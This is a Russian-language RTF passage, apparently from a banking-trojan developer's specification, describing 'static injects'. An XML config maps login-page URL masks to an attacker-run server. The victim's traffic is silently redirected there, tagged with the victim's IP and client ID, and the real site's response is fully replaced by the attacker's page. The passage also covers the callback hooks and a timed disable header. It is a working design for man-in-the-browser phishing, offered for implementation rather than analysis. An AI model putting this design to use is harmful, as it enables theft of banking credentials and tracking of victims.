\b 10.5 \b0\'ca\'ee\'ed\'f4\'e8\'e3 \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2 - \'fd\'f2\'ee \'f2\'e5\'ea\'f1\'f2\'ee\'e2\'fb\'e9 \f1\lang1033 XML-\f0\lang1049\'f4\'e0\'e9\'eb \'e2 \'f1\'f2\'e0\'ed\'e4\'e0\'f0\'f2\'ed\'ee\'e9 \'ea\'ee\'e4\'e8\'f0\'ee\'e2\'ea\'e5 \f1\lang1033 ANSI\f0\lang1049 , \'e2 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'ef\'f0\'ee\'ef\'e8\'f1\'e0\'ed\'fb \'ef\'f0\'e0\'e2\'e8\'eb\'e0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'ea\'e8 \f1\lang1033 HTTP\f0\lang1049 -\'ee\'f2\'e2\'e5\'f2\'ee\'e2 \'f1\'e5\'f0\'e2\'e5\'f0\'ee\'e2. \'ca\'ee\'ed\'f4\'e8\'e3 \'ee\'ef\'e8\'f1\'fb\'e2\'e0\'e5\'f2 \'f1\'ef\'e8\'f1\'ee\'ea \'ef\'e5\'f0\'e5\'ed\'e0\'ef\'f0\'e0\'e2\'eb\'e5\'ed\'e8\'e9. \par
\'c2 \'ee\'f2\'eb\'e8\'f7\'e8\'e5 \'ee\'f2 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2, \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e5 \'e8\'ed\'e6\'e5\'ea\'f2\'fb \'f1\'f2\'ee\'ff\'f2 \'ed\'e0 \'e1\'ee\'eb\'e5\'e5 \'ed\'e8\'e7\'ea\'ee\'ec \'f3\'f0\'ee\'e2\'ed\'e5 \'e8 \'e1\'eb\'ee\'ea\'e8\'f0\'f3\'fe\'f2 \'ee\'f2\'ef\'f0\'e0\'e2\'ea\'f3 \f1\lang1033 http-\f0\lang1049\'e7\'e0\'ef\'f0\'ee\'f1\'ee\'e2 \'ed\'e0 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'fb\'e9 \'f1\'e5\'f0\'e2\'e5\'f0 \'e8 \'ef\'ee\'eb\'ed\'ee\'f1\'f2\'fc\'fe \'ef\'ee\'e4\'ec\'e5\'ed\'ff\'fe\'f2 \f1\lang1033 http-\f0\lang1049\'ee\'f2\'e2\'e5\'f2\'fb (\'e5\'f1\'eb\'e8 \'ee\'ed\'e8 \'e5\'f1\'f2\'fc) \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'ee\'e3\'ee \'f1\'e5\'f0\'e2\'e5\'f0\'e0.\par
\'ca\'ee\'ed\'f4\'e8\'e3 \'ee\'ef\'e8\'f1\'fb\'e2\'e0\'e5\'f2 \'f1\'ef\'e8\'f1\'ee\'ea \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2. \'d1\'ef\'e8\'f1\'ee\'ea \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2 \'f3\'ea\'e0\'e7\'fb\'e2\'e0\'e5\'f2\'f1\'ff \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <slist>. \f0\lang1049\'c2 \'f2\'e5\'e3\'e5 \f1\lang1033 <slist> \f0\lang1049\'ee\'e4\'e5\'f0\'e6\'e8\'f2\'f1\'ff \'f1\'ef\'e8\'f1\'ee\'ea \'fd\'eb\'e5\'ec\'e5\'ed\'f2\'ee\'e2 \'e2 \'f2\'e5\'e3\'e0\'f5 \f1\lang1033 <sinj>. \f0\lang1049\'ca\'e0\'e6\'e4\'fb\'e9 \'fd\'eb\'e5\'ec\'e5\'ed\'f2 \f1\lang1033 sinj\f0\lang1049 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2: \'ec\'e0\'f1\'ea\'f3 \'f1\'f0\'e0\'e1\'e0\'f2\'fb\'e2\'e0\'ed\'e8\'ff \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 <mm>\f0\lang1049 , \'eb\'e8\'ed\'ea \'ed\'e0 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'e2\'ea\'eb\'fe\'f7\'e8\'f2\'f1\'ff \'e8\'ed\'e6\'e5\'ea\'f2\f1\lang1033 <sm>\f0\lang1049 , \'ed\'e0\'e8\'ec\'e5\'ed\'ee\'e2\'e0\'ed\'e8\'e5 \'f1\'e5\'f0\'e2\'e5\'f0\'e0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0\f1\lang1033 <srv>\f0\lang1049 , \'ed\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'ef\'ee\'eb\'ff \f1\lang1033 host \f0\lang1049\'e2 \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ea\'e0\'f5 \'e7\'e0\'ef\'f0\'ee\'f1\'e0\f1\lang1033 <nh>\f0\lang1049 . \'d2\'e5\'e3 \f1\lang1033 sm \f0\lang1049\'ff\'e2\'eb\'ff\'e5\'f2\'f1\'ff \'ee\'ef\'f6\'e8\'ee\'ed\'e0\'eb\'fc\'ed\'fb\'ec, \'e2 \'fd\'f2\'ee\'ec \'f1\'eb\'f3\'f7\'e0\'e5 \'ef\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff, \'f7\'f2\'ee \'ee\'ed \'f0\'e0\'e2\'e5\'ed \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'ec\'ee\'ec\'f3 \'f2\'e5\'e3\'e0 \f1\lang1033 mm.\f0\lang1049\par
\'ca\'e0\'e6\'e4\'fb\'e9 \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e9 \'e8\'ed\'e6\'e5\'ea\'f2 \'ec\'ee\'e6\'e5\'f2 \'ed\'e0\'f5\'ee\'e4\'e8\'f2\'fc\'f1\'ff \'e2 \'f2\'f0\'b8\'f5 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff\'f5: "\'e3\'ee\'f2\'ee\'e2", "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'e8 "\'e2\'fb\'ea\'eb\'fe\'f7\'b8\'ed". \'c8\'e7\'ed\'e0\'f7\'e0\'eb\'fc\'ed\'ee \'ee\'ed \'ed\'e0\'f5\'ee\'e4\'e8\'f2\'f1\'ff \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e8 "\'e3\'ee\'f2\'ee\'e2" \'e8 \'ed\'e0\'f5\'ee\'e4\'e8\'f2\'f1\'ff \'e2 \'ed\'b8\'ec \'e4\'ee \'f2\'e5\'f5 \'ef\'ee\'f0 \'ef\'ee\'ea\'e0 \'ed\'e5 \'ef\'f0\'ee\'e8\'e7\'ee\'e9\'e4\'b8\'f2 \'ef\'e5\'f0\'e5\'f5\'ee\'e4 \'ed\'e0 \'f1\'f1\'fb\'eb\'ea\'f3 \'f3\'ea\'e0\'e7\'e0\'ed\'ed\'f3\'fe \'e2 \'f2\'e5\'e3\'e5 \f1\lang1033 sm\f0\lang1049 .\f1\lang1033 \f0\lang1049\'ca\'e0\'ea \'f2\'ee\'eb\'fc\'ea\'ee \'ef\'f0\'ee\'e8\'f1\'f5\'ee\'e4\'e8\'f2 \'ef\'e5\'f0\'e5\'f5\'ee\'e4 \'ed\'e0 \'e4\'e0\'ed\'ed\'f3\'fe \'f1\'f1\'fb\'eb\'ea\'f3, \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e9 \'e8\'ed\'e6\'e5\'ea\'f2 \'ef\'e5\'f0\'e5\'f5\'ee\'e4\'e8\'f2 \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'ea\'eb\'fe\'f7\'b8\'ed". \'c2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'e8\'ed\'e6\'e5\'ea\'f2 \'ec\'ee\'e6\'e5\'f2 \'ef\'e5\'f0\'e5\'e9\'f2\'e8 \'f2\'ee\'eb\'fc\'ea\'ee \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e3\'ee\'f2\'ee\'e2". \'c2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e3\'ee\'f2\'ee\'e2" \'e8\'ed\'e6\'e5\'ea\'f2 \'ec\'ee\'e6\'e5\'f2 \'ef\'e5\'f0\'e5\'e9\'f2\'e8 \'f2\'ee\'eb\'fc\'ea\'ee \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e2\'fb\'ea\'eb\'fe\'f7\'e5\'ed"\par
\'cf\'ee\'e4\'f0\'e0\'e7\'f3\'ec\'e5\'e2\'e0\'e5\'f2\'f1\'ff \'f7\'f2\'ee \'f0\'e5\'f8\'e5\'ed\'e8\'e5 \'ee \'ef\'e5\'f0\'e5\'f5\'ee\'e4\'e5 \'e8\'ed\'e6\'e5\'ea\'f2\'e0 \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e3\'ee\'f2\'ee\'e2" \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'ef\'f0\'ee\'e8\'f1\'f5\'ee\'e4\'e8\'f2 \'e2 \'ea\'ee\'eb\'e1\'e5\'ea\'e5 \f1\lang1033 CheckURL. \f0\lang1049\'d0\'e5\'f8\'e5\'ed\'e8\'e5 \'ee \'ef\'e5\'f0\'e5\'f5\'ee\'e4\'e5 \'e8\'ed\'e6\'e5\'ea\'f2\'e0 \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'fb\'ea\'eb\'fe\'f7\'e5\'ed" \'ef\'f0\'ee\'e8\'f1\'f5\'ee\'e4\'e8\'f2 \'e2 \'ea\'ee\'eb\'e1\'e5\'ea\'e5 \f1\lang1033 AfterReceiveResponse. \f0\lang1049\par
\'cc\'e0\'f1\'ea\'e0 \'f1\'f0\'e0\'e1\'e0\'f2\'fb\'e2\'e0\'ed\'e8\'ff (\'f2\'e5\'e3 \f1\lang1033 mm\f0\lang1049 )\f1\lang1033 - \f0\lang1049\'ec\'e0\'f1\'ea\'e0 \'e8\'e4\'e5\'ed\'f2\'e8\'f7\'ed\'e0\'ff \'ec\'e0\'f1\'ea\'e5 \'e2 \'ea\'ee\'ed\'f4\'e8\'e3\'e5 \'e4\'e8\'ed\'e0\'ec\'e8\'f7\'e5\'f1\'ea\'e8\'f5 \'e8\'ed\'e6\'e5\'ea\'f2\'ee\'e2. \'c2\'f1\'e5 \'e7\'e0\'ef\'f0\'ee\'f1\'fb \'ef\'ee\'e4\'f5\'ee\'e4\'ff\'f9\'e8\'e5 \'ef\'ee\'e4 \'e4\'e0\'ed\'ed\'f3\'fe \'ec\'e0\'f1\'ea\'f3 \'e4\'ee\'eb\'e6\'ed\'fb \'e1\'fb\'f2\'fc \'ed\'e0\'ef\'f0\'e0\'e2\'eb\'e5\'ed\'fb \'ed\'e0 \'f1\'e5\'f0\'e2\'e5\'f0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\par
\'cc\'e0\'f1\'ea\'e0 \'f1\'f1\'fb\'eb\'ea\'e8 \'ed\'e0 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'e2\'ea\'eb\'fe\'f7\'e8\'f2\'f1\'ff \'e8\'ed\'e6\'e5\'ea\'f2 \'e8\'eb\'e8 \'ef\'f0\'ee\'f1\'f2\'ee \'ec\'e0\'f1\'ea\'e0 \'e2\'ea\'eb\'fe\'f7\'e5\'ed\'e8\'ff\f1\lang1033 \f0\lang1049 (\'f2\'e5\'e3 \f1\lang1033 sm \f0\lang1049\'e8\'eb\'e8 \'f2\'e5\'e3 \f1\lang1033 mm\f0\lang1049 )\f1\lang1033 -\f0\lang1049 \'ec\'e0\'f1\'ea\'e0 \'f1\'f1\'fb\'eb\'ea\'e8 \'ef\'f0\'e8 \'ef\'e5\'f0\'e5\'f5\'ee\'e4\'e5 \'ed\'e0 \'ea\'ee\'f2\'ee\'f0\'f3\'fe \'e8\'ed\'e6\'e5\'ea\'f2 \'ef\'e5\'f0\'e5\'f5\'ee\'e4\'e8\'f2 \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'fe "\'e3\'ee\'f2\'ee\'e2" \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'ea\'eb\'fe\'f7\'b8\'ed"\cf2\f1\lang1033\par
\cf0\f0\lang1049\'d1\'e5\'f0\'e2\'e5\'f0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea (\'f2\'e5\'e3 \f1\lang1033 srv\f0\lang1049 )\f1\lang1033 -\f0\lang1049 \'ef\'e0\'f0\'e0 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e9 \f1\lang1033 ip:port \f0\lang1049\'ea\'ee\'f2\'ee\'f0\'e0\'ff \'f3\'ea\'e0\'e7\'fb\'e2\'e0\'e5\'f2 \'ed\'e0 \'f1\'e5\'f0\'e2\'e5\'f0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea. \'c5\'f1\'eb\'e8 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'ef\'ee\'f0\'f2\'e0 \'f7\'b8\'f2\'ed\'ee\'e5, \'f2\'ee \'f0\'e0\'e1\'ee\'f2\'e0 \'e8\'e4\'b8\'f2 \'e1\'e5\'e7 \'f8\'e8\'f4\'f0\'ee\'e2\'e0\'ed\'e8\'ff\f1\lang1033 (HTTP)\f0\lang1049 , \'e5\'f1\'eb\'e8 \'ef\'ee\'f0\'f2 \'ed\'e5\'f7\'b8\'f2\'ed\'fb\'e9, \'f2\'ee \'f0\'e0\'e1\'ee\'f2\'e0 \'e8\'e4\'b8\'f2 \'ef\'ee\'e2\'e5\'f0\'f5 \f1\lang1033 SSL/TLS (HTTPS).\cf2\par
\cf0\f0\lang1049\'cd\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \f1\lang1033 host (\f0\lang1049\'f2\'e5\'e3 \f1\lang1033 nh) - \f0\lang1049\'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'ef\'ee\'eb\'ff \f1\lang1033 host \f0\lang1049\'ea\'ee\'f2\'ee\'f0\'ee\'e5 \'e4\'ee\'eb\'e6\'ed\'ee \'e1\'f3\'e4\'e5\'f2 \'e7\'e0\'ec\'e5\'ed\'e8\'f2\'fc \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'ef\'ee\'eb\'ff \f1\lang1033 host\f0\lang1049 \'e2 \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ea\'e5 \'e8\'f1\'f5\'ee\'e4\'ff\'f9\'e5\'e3\'ee \'e7\'e0\'ef\'f0\'ee\'f1\'e0.\par
\'cf\'f0\'e8\'ec\'e5\'f0 \'ea\'ee\'ed\'f4\'e8\'e3\'e0:\par
\f2\lang1033 <slist> \par
<sinj>\par
<mm>site.com/*</mm>\par
<sm>site.com/loginpage</sm>\par
<nh>othersite.com</nh>\par
<srv>11.22.33.44:80</srv>\par
</sinj> \par
<sinj> \par
<mm>qwerty1.net/papka2/*</mm>\par
<nh>zxc.org</nh>\par
<srv>1.2.3.4:443</srv>\par
</sinj> \par
<slist>\f1 \par
\par
\b\f0\lang1049 10.5\f1\lang1033 .1 \b0\f0\lang1049\'ca\'e0\'ea \'ed\'e0\'e8\'e1\'ee\'eb\'e5\'e5 \'ef\'f0\'ee\'f1\'f2\'f3\'fe \'e0\'ed\'e0\'eb\'ee\'e3\'e8\'fe \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'ec \'e8\'ed\'e6\'e5\'ea\'f2\'e0\'ec \'f1\'eb\'e5\'e4\'f3\'e5\'f2 \'f0\'e0\'f1\'f1\'ec\'e0\'f2\'f0\'e8\'e2\'e0\'f2\'fc \'ea\'e0\'ea \'ef\'e5\'f0\'e5\'ed\'e0\'ef\'f0\'e0\'e2\'eb\'e5\'ed\'e8\'e5 \'ed\'e5\'ea\'ee\'f2\'ee\'f0\'fb\'f5 \'f1\'f2\'f0\'e0\'ed\'e8\'f6. \'c8\'f2\'e0\'ea, \'e4\'ee\'ef\'f3\'f1\'f2\'e8\'ec \'ec\'fb \'ed\'e0\'f5\'ee\'e4\'e8\'ec\'f1\'ff \'e2 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 BeforeSendRequest\f0\lang1049 , \'e8 \'ef\'ee\'f1\'eb\'e5 \'ef\'f0\'ee\'e2\'e5\'f0\'ea\'e8 \'f1\'f1\'fb\'eb\'ea\'e8 \'ef\'ee \'e2\'f1\'e5\'ec \'e8\'ed\'e6\'e5\'ea\'f2\'e0\'ec \'ea\'ee\'f2\'ee\'f0\'fb\'e5 \'ed\'e0\'f5\'ee\'e4\'ff\'f2\'f1\'ff \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e8 "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'f1\'f2\'e0\'eb\'ee \'ef\'ee\'ed\'ff\'f2\'ed\'ee, \'f7\'f2\'ee \'e4\'e0\'ed\'ed\'e0\'ff \'f1\'f1\'fb\'eb\'ea\'e0 \'ef\'ee\'e4\'f5\'ee\'e4\'e8\'f2 \'ef\'ee\'e4 \'ea\'e0\'ea\'ee\'e9-\'f2\'ee \'e8\'ed\'e6\'e5\'ea\'f2, \'f2\'ee \'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee \'ef\'f0\'ee\'e8\'e7\'e2\'e5\'f1\'f2\'e8 \'ef\'e5\'f0\'e5\'ed\'e0\'ef\'f0\'e0\'e2\'eb\'e5\'ed\'e8\'e5 \'e7\'e0\'ef\'f0\'ee\'f1\'e0 \'ed\'e0 \'f1\'e5\'f0\'e2\'e5\'f0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea. \par
\'c4\'eb\'ff \'ef\'e5\'f0\'e5\'ed\'e0\'ef\'f0\'e0\'e2\'eb\'e5\'ed\'e8\'ff \'ed\'e0\'e4\'ee \'e8\'f1\'f5\'ee\'e4\'ff\'f9\'e8\'e9 \'e7\'e0\'ef\'f0\'ee\'f1 \'ed\'e0\'e4\'ee \'f1\'ea\'ee\'ef\'e8\'f0\'ee\'e2\'e0\'f2\'fc, \'e8\'e7\'ec\'e5\'ed\'e8\'f2\'fc \'e2 \'ea\'ee\'ef\'e8\'e8 \'ef\'ee\'eb\'e5 host \'ed\'e0 \'f2\'ee\'f2 \'ea\'ee\'f2\'ee\'f0\'fb\'e9 \'f3\'ea\'e0\'e7\'e0\'ed \'e2 \'ea\'ee\'ed\'f4\'e8\'e3\'e5 \'e2 \'f2\'e5\'e3\'e5 "nh", \'e4\'ee\'e1\'e0\'e2\'e8\'f2\'fc \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea "X-Forwarded-for" \'f1 \'f1\'ee\'e1\'f1\'f2\'e2\'e5\'ed\'ed\'fb\'ec \'e2\'ed\'e5\'f8\'ed\'e8\'ec \f1\lang1033 ip-\f0\lang1049\'e0\'e4\'f0\'e5\'f1\'ee\'ec, \'e8 \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea "\f1\lang1033 clientinfo\f0\lang1049 " \f1\lang1033 \f0\lang1049\'e2 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'e1\'f3\'e4\'e5\'f2 \'f3\'ea\'e0\'e7\'e0\'ed\'fb \'f1\'ed\'e0\'f7\'e0\'eb\'e0 \'f2\'e5\'e3 \'e3\'f0\'f3\'ef\'ef\'fb \'ea\'eb\'e8\'e5\'ed\'f2\'e0, \'e0 \'ef\'ee\'f2\'ee\'ec \'f7\'e5\'f0\'e5\'e7 \'ef\'f0\'ee\'e1\'e5\'eb \'e5\'e3\'ee \'ef\'ee\'eb\'ed\'fb\'e9 \f1\lang1033 clientid\f0\lang1049 , \'ee\f1\lang1033 . \f0\lang1049\'cf\'ee\'f1\'eb\'e5 \'fd\'f2\'e8\'f5 \'ec\'ee\'e4\'e8\'f4\'e8\'ea\'e0\'f6\'e8\'e9 \'ed\'e0\'e4\'ee \'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc \'e7\'e0\'ef\'f0\'ee\'f1 \'ed\'e0 \'f1\'e5\'f0\'e2\'e5\'f0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea. \'c5\'f1\'eb\'e8 \'ef\'ee\'f0\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'f7\'b8\'f2\'ed\'fb\'e9, \'f2\'ee \'ef\'ee \'e1\'e5\'e7 \'f8\'e8\'f4\'f0\'ee\'e2\'e0\'ed\'e8\'ff, \'e5\'f1\'eb\'e8 \'ef\'ee\'f0\'f2 \'ed\'e5\'f7\'b8\'f2\'ed\'fb\'e9, \'f2\'ee \'f7\'e5\'f0\'e5\'e7 SSL/TLS. \'c7\'e0\'ef\'f0\'ee\'f1 \'f0\'e5\'ea\'ee\'ec\'e5\'ed\'e4\'f3\'e5\'f2\'f1\'ff \'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc \'e0\'f1\'e8\'ed\'f5\'f0\'ee\'ed\'ed\'ee \'e8\'eb\'e8 \'ef\'f0\'ee\'f1\'f2\'ee \'e2 \'ee\'f2\'e4\'e5\'eb\'fc\'ed\'ee\'ec \'ef\'ee\'f2\'ee\'ea\'e5. \par
\'c8\'f1\'f5\'ee\'e4\'ed\'fb\'e9 \'e7\'e0\'ef\'f0\'ee\'f1 \'ed\'e0 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'fb\'e9 \'f1\'e5\'f0\'e2\'e5\'f0 \'ed\'e0\'e4\'ee \'e8\'e7\'ec\'e5\'ed\'e8\'f2\'fc \'f2\'e0\'ea\'e8\'ec \'ee\'e1\'f0\'e0\'e7\'ee\'ec \'f7\'f2\'ee\'e1\'fb \'ee\'ed \'ef\'f0\'e5\'e2\'f0\'e0\'f2\'e8\'eb\'f1\'ff \'e2 \'e7\'e0\'ef\'f0\'ee\'f1\'e0 GET \'f1 URI \'f0\'e0\'e2\'ed\'fb\'ec "/", \'f3\'e4\'e0\'eb\'e8\'f2\'fc \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea \'f1 cookie \'e8 \'ef\'f0\'ee\'f7\'e8\'e5 \'f1\'ef\'e5\'f6\'e8\'f4\'e8\'f7\'ed\'fb\'e5 \'f2\'e5\'e3\'e8, \'ef\'ee\'f1\'eb\'e5 \'fd\'f2\'ee\'e3\'ee \'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc \'ed\'e0 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'fb\'e9 \'f1\'e5\'f0\'e2\'e5\'f0\f1\lang1033 .\par
\f0\lang1049\'cf\'ee\'f1\'eb\'e5 \'ef\'ee\'eb\'f3\'f7\'e5\'ed\'e8\'ff \'ee\'f2\'e2\'e5\'f2\'e0 \'ee\'f2 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'ee\'e3\'ee \'f1\'e5\'f0\'e2\'e5\'f0\'e0, \'e2 \'ea\'ee\'eb\'e1\'fd\'ea\'e5 \f1\lang1033 AfterReceiveResponse \f0\lang1049\'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee \'e4\'ee\'e6\'e4\'e0\'f2\'fc\'f1\'ff \'ea\'ee\'e3\'e4\'e0 \'ef\'f0\'e8\'e4\'b8\'f2 \'ee\'f2\'e2\'e5\'f2 \'ee\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0. \'cf\'ee\'f1\'eb\'e5 \'fd\'f2\'ee\'e3\'ee \'e7\'e0\'ec\'e5\'ed\'e8\'f2\'fc \'ee\'f2\'e2\'e5\'f2 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'ee\'e3\'ee \'f1\'e5\'f0\'e2\'e5\'f0\'e0 (\'ef\'ee\'eb\'ed\'ee\'f1\'f2\'fc\'fe \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea \'e8 \'f2\'e5\'eb\'ee) \'ee\'f2\'e2\'e5\'f2\'ee\'ec \'ee\'f2 \'f1\'e5\'f0\'e2\'e5\'f0\'e0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0.\par
\'cf\'ee\'ec\'e8\'ec\'ee \'ef\'f0\'ee\'f7\'e5\'e3\'ee, \'e2 \'ee\'f2\'e2\'e5\'f2\'e5 \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'ec\'ee\'e6\'e5\'f2 \'ed\'e0\'f5\'ee\'e4\'e8\'f2\'fc\'f1\'ff \'ee\'e4\'e8\'ed \'f1\'ef\'e5\'f6\'e8\'e0\'eb\'fc\'ed\'fb\'e9 \'f2\'e5\'e3 \'f1 \'e8\'ec\'e5\'ed\'e5\'ec "\f1\lang1033 sinjdsto\f0\lang1049 "\f1\lang1033 \f0\lang1049\'e2 \'ea\'ee\'f2\'ee\'f0\'ee\'ec \'e1\'f3\'e4\'e5\'ea \'f3\'ea\'e0\'e7\'e0\'ed\'ee \'f7\'e8\'f1\'eb\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5. \'cd\'e0\'f7\'e8\'eb\'e8\'e5 \'fd\'f2\'ee\'e3\'ee \'f5\'e8\'e4\'e5\'f0\'e0 \'e2 \'ee\'f2\'e2\'e5\'f2\'e5 \'f1\'e5\'f0\'e2\'e5\'f0\'e0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'ee\'e7\'ed\'e0\'f7\'e0\'e5\'f2 \'f7\'f2\'ee \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e9 \'e8\'ed\'e6\'e5\'ea\'f2 \'e4\'ee\'eb\'e6\'e5\'ed \'e1\'fb\'f2\'fc \'ef\'e5\'f0\'e5\'ea\'eb\'fe\'f7\'e5\'ed \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e2\'ea\'eb\'fe\'f7\'b8\'ed" \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e2\'fb\'ea\'eb\'fe\'f7\'e5\'ed". \'d7\'e8\'f1\'eb\'ee\'e2\'ee\'e5 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5 \'f3\'ea\'e0\'e7\'fb\'e2\'e0\'e5\'f2 \'ea\'ee\'eb\'e8\'f7\'e5\'f1\'f2\'e2\'ee \'f1\'e5\'ea\'f3\'ed\'e4 \'f7\'e5\'f0\'e5\'e7 \'ea\'ee\'f2\'ee\'f0\'ee\'e5 \'f1\'f2\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8\'e9 \'e8\'ed\'e6\'e5\'ea\'f2 \'e1\'f3\'e4\'e5\'f2 \'e0\'e2\'f2\'ee\'ec\'e0\'f2\'e8\'f7\'e5\'f1\'ea\'e8 \'ef\'e5\'f0\'e5\'e2\'e5\'e4\'b8\'ed \'e8\'e7 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'ff "\'e2\'fb\'ea\'eb\'fe\'f7\'e5\'ed" \'e2 \'f1\'ee\'f1\'f2\'ee\'ff\'ed\'e8\'e5 "\'e3\'ee\'f2\'ee\'e2". \'cf\'f0\'e8 \'fd\'f2\'ee\'ec \'ef\'f0\'e8 \'e7\'e0\'ec\'e5\'ed\'e5 \'ee\'f2\'e2\'e5\'f2\'e0 \'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'ee\'e3\'ee \'f1\'e5\'f0\'e2\'e5\'f0\'e0 \'ee\'f2\'e2\'e5\'f2\'ee\'ec \'f1\'e5\'f0\'e2\'e5\'f0\'e0-\'ee\'e1\'f0\'e0\'e1\'ee\'f2\'f7\'e8\'ea\'e0 \'ed\'e5\'ee\'e1\'f5\'ee\'e4\'e8\'ec\'ee \'f3\'e4\'e0\'eb\'e8\'f2\'fc \'e7\'e0\'e3\'ee\'eb\'ee\'e2\'ee\'ea "\f1\lang1033 sinjdsto\f0\lang1049 ". \par
